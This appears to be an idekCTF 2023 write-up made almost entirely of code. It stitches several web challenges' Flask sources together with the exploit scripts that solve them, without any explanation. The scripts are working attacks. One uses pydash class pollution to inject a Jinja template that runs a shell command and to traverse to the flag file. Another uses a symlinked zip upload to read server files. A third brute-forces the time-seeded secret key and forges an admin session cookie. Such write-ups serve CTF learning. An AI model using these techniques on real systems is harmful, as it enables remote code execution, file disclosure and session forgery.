2023IdekCTFWriteup

@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
    task, status = request.json.get('task'), request.json.get('status')
    try:
        if not task or type(task) != str:
            return {"message": "You must provide a task name as a string!"}, 400
        if len(task) > 150:
            return {"message": "Tasks may not be over 150 characters long!"}, 400
        if status and len(status) > 50:
            return {"message": "Statuses may not be over 50 characters long!"}, 400
        if not status:
            tasks.complete(task)
            return {"message": "Task marked complete!"}, 200
        if type(status) != str:
            return {"message": "Your status must be a string!"}, 400
        if tasks.set(task, status):
            return {"message": "Task updated!"}, 200
        return {"message": "Invalid task name!"}, 400
    except Exception as e:
        # e.
        print(e)
        return {"message": str(e)}, 200

import pydash

class TaskManager:
    protected = ["set", "get", "get_all", "__init__", "complete"]

    def __init__(self):
        self.set("capture the flag", "incomplete")

    def set(self, task, status):
        if task in self.protected:
            return
        pydash.set_(self, task, status)
        return True

    def complete(self, task):
        if task in self.protected:
            return
        pydash.set_(self, task, False)
        return True

    def get(self, task):
        if hasattr(self, task):
            return {task: getattr(self, task)}
        return {}

    def get_all(self):
        return self.__dict__

@app.before_first_request
def init():
    if app.env == "yojo":
        app.add_template_global(eval)

@app.route("/<path:path>")
def render_page(path):
    app._got_first_request = False
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)

import requests
import re

base_url = "http://localhost:1337"
#base_url = "https://task-manager-dc512c530573c0b4.instancer.idek.team"

hijack_start = """'""']:\n            value = """
hijack_end = "\n"


payloads = {
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env": "yolo",
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value": "__import__('os').popen('cat /flag-*.txt').read()",
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string": hijack_start,
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string": hijack_end,
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir": "ZZZ",
        "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request": None,
   
}

def overwrite(attr, value):
    data = {"task": attr, "status": value}
    requests.post(base_url + "/api/manage_tasks", json=data)

def get_flag():
    url = base_url + "/../../usr/local/lib/python3.8/turtle.py"
    s = requests.Session()
    r = requests.Request(method='GET', url=url)
    prep = r.prepare()
    prep.url = url
    r = s.send(prep)
    flag = re.findall('idek{.*}', r.text)[0]
    print(flag)

for k, v in payloads.items():
    overwrite(k, v)

get_flag()

app = Flask(
        __name__,
        static_url_path='/static',
        static_folder='./static',
        )

PREMIUM_TOKEN = os.urandom(32).hex()

limiter = Limiter(app, key_func=get_remote_address)

@app.after_request
def add_headers(response):
    response.cache_control.max_age = 120
    return response

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/proxy/<path:path>')
@limiter.limit("10/minute")
def proxy(path):
    remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addr
    is_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0.1"
    try:
        page = urlopen(path, timeout=.5)
    except:
        return render_template('proxy.html', auth=is_authorized)
    if is_authorized:
        output = page.read().decode('latin-1')
    else:
        output = f"<pre>{page.headers.as_string()}</pre>"
    return render_template('proxy.html', auth=is_authorized, content=output)

@full_url.setter
def full_url(self, url):
  # unwrap('<URL:type://host/path>') --> 'type://host/path'
  self._full_url = unwrap(url)
  self._full_url, self.fragment = _splittag(self._full_url)
  self._parse()
  
def _splittag(url):
    """splittag('/path#tag') --> '/path', 'tag'."""
    path, delim, tag = url.rpartition('#')
    if delim:
        return path, tag
    return url, None

@app.route("/flag")
def flag():
    if not session.get("admin"):
        return "Unauthorized!"
    return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")

app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]

SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if not session.get("uid"):
        return redirect("/login")
    if request.method == "GET":
        return render_template("upload.html")

    if "file" not in request.files:
        flash("You didn't upload a file!", "danger")
        return render_template("upload.html")
    
    file = request.files["file"]
    uuidpath = str(uuid.uuid4())
    filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])    
    flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
    logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
    return redirect("/upload")

@app.route("/uploads/<path:path>")
def uploads(path):
    try:
        return send_from_directory(DATA_DIR + "uploads", path)
    except PermissionError:
        abort(404)

# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
    logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())

decoded = {'admin': True, 'uid': userinfo['username']}

import base64

import requests, re, time, datetime, random
import flask_unsign

sess = requests.session()
SECRET_OFFSET = -67198624 * 1000
userinfo = {"username": "yyds", "password": "yyds"}
baseurl = "http://127.0.0.1:1337/"
pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA"
cookie = ""
log_url = ""

def register():
    reg_url = baseurl + "register"
    sess.post(reg_url, userinfo)


def login():
    global cookie
    set_cookie = sess.post(baseurl + "login", data=userinfo, allow_redirects=False).headers['Set-Cookie']
    cookie = set_cookie[8:82]


def upload():
    global log_url
    log_url = re.search('<a href="/uploads/.*">', sess.post(
        baseurl + "upload", headers={'Cookie': f'session={cookie}'},
        files={'file': base64.b64decode(pocZip)}).text).group()[9:-2]

def read():
    server_log = baseurl + log_url + "/server.log"
    config = baseurl + log_url + "/config.py"
    SECRET_OFFSET = int(re.findall("SECRET_OFFSET = (.*?) # REDACTED", sess.get(config).text)[0]) * 1000
    log = sess.get(server_log).text
    now = (time.mktime(datetime.datetime.strptime(log.split('\n')[0][1:20], "%Y-%m-%d %H:%M:%S").timetuple())) * 1000
    return SECRET_OFFSET,now



if __name__ == '__main__':
    register()
    login()
    upload()
    SECRET_OFFSET, now = read()
    while 1:
        decoded = {'admin': True, 'uid': userinfo['username']}
        random.seed(round(now + int(SECRET_OFFSET)))
        SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
        flag_url = baseurl + "flag"
        res = sess.get(flag_url, headers={'Cookie': f'session={flask_unsign.sign(decoded, SECRET_KEY)}'}).text
        if "idek" not in res:
            now += 1
            print(now)
            continue
        print(res)
        break